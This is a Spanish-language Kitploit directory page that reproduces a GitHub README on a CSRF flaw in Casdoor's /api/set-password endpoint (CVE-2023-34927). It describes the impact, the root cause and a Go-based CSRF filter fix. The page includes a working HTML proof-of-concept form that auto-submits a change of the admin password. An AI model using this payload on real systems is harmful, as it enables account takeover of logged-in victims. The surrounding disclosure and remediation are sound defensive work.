Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
csrf_casdoor — Exploit CSRF de prueba de concepto para el endpoint `/api/set-password` de Casdoor (CVE-2023-34927), que permite cambios de contraseña no autorizados mediante solicitudes POST entre sitios. Incluye una corrección de filtro CSRF basada en Go. | Kitploit
Herramientas/GitHubGitHub/vanlam2001/csrf_casdoor
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAutenticación
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Exploit CSRF de prueba de concepto para el endpoint `/api/set-password` de Casdoor (CVE-2023-34927), que permite cambios de contraseña no autorizados mediante solicitudes POST entre sitios. Incluye una corrección de filtro CSRF basada en Go.

Ver Repositorio
12hace 8 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Casdoor – Cross-Site Request Forgery (CSRF)

Resumen

  • Vulnerabilidad: CSRF en /api/set-password que permite cambiar la contraseña sin consentimiento.
  • Versiones afectadas: Todas las versiones del software están afectadas. Actualmente no hay una versión parcheada disponible.
  • CVE: CVE-2023-34927 (la última aún está por asignar).
  • Autor del exploit: Van Lam Nguyen.
  • Probado en: Windows

Impacto

  • Si una víctima ha iniciado sesión en Casdoor, un POST cross-site puede cambiar la contraseña de la víctima (por ejemplo, built-in/admin), lo que lleva a la toma de control de la cuenta.

Requisitos previos del ataque

  • La víctima está autenticada y tiene una cookie casdoor_session_id válida.
  • La víctima visita una página maliciosa que envía automáticamente un POST a /api/set-password.

Prueba de concepto

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Causa raíz

  • Los endpoints que cambian el estado bajo /api/* aceptan solicitudes autenticadas por cookie sin aplicar comprobaciones de mismo origen (Origin/Referer) ni tokens CSRF.

Resumen de la solución

  • Añadir un filtro CSRF del lado del servidor para denegar solicitudes POST/PUT/DELETE/PATCH cross-site basadas en cookies bajo /api/*.
  • Permitir solicitudes que lleven autenticación explícita que no sea por cookie (por ejemplo, Authorization, autenticación Basic, credenciales de cliente o accessToken) o solicitudes sin cookies de sesión del navegador (llamadas típicas de servidor a servidor).

Implementación

  • Usar routers.CSRFFilter implementado en csrf_filter.go. Este filtro:
    • Retorna anticipadamente para métodos que no cambian el estado.
    • Permite solicitudes con autenticación explícita que no sea por cookie.
    • Bloquea solicitudes cross-site cuando hay una cookie de sesión presente y el origen no coincide con el host.

Cómo integrarlo en Casdoor

  1. Copiar csrf_filter.go en el paquete routers existente del proyecto Casdoor. No modificar ni eliminar nada en este archivo.
  2. Registrar el filtro al principio del pipeline HTTP (dentro de main):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verificación

  • Después de registrar el filtro, reproducir el PoC anterior mientras se está autenticado. La solicitud debería ser denegada con Unauthorized operation y el servidor debería registrar CSRF check failed.
  • Las llamadas a la API cross-origin que incluyan cabeceras Authorization o parámetros accessToken deberían seguir funcionando.

Archivos del repositorio

  • csrf_filter.go: filtro CSRF para copiar en el paquete routers de Casdoor.
  • poc.html: página mínima que reproduce el ataque CSRF.
  • README.md: este documento que describe la vulnerabilidad y los pasos de solución.

Referencias

  • Casdoor: https://casdoor.org/
  • Versión: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Vídeo

  • Youtube: https://youtu.be/N5VENgiObjY
Descargar herramienta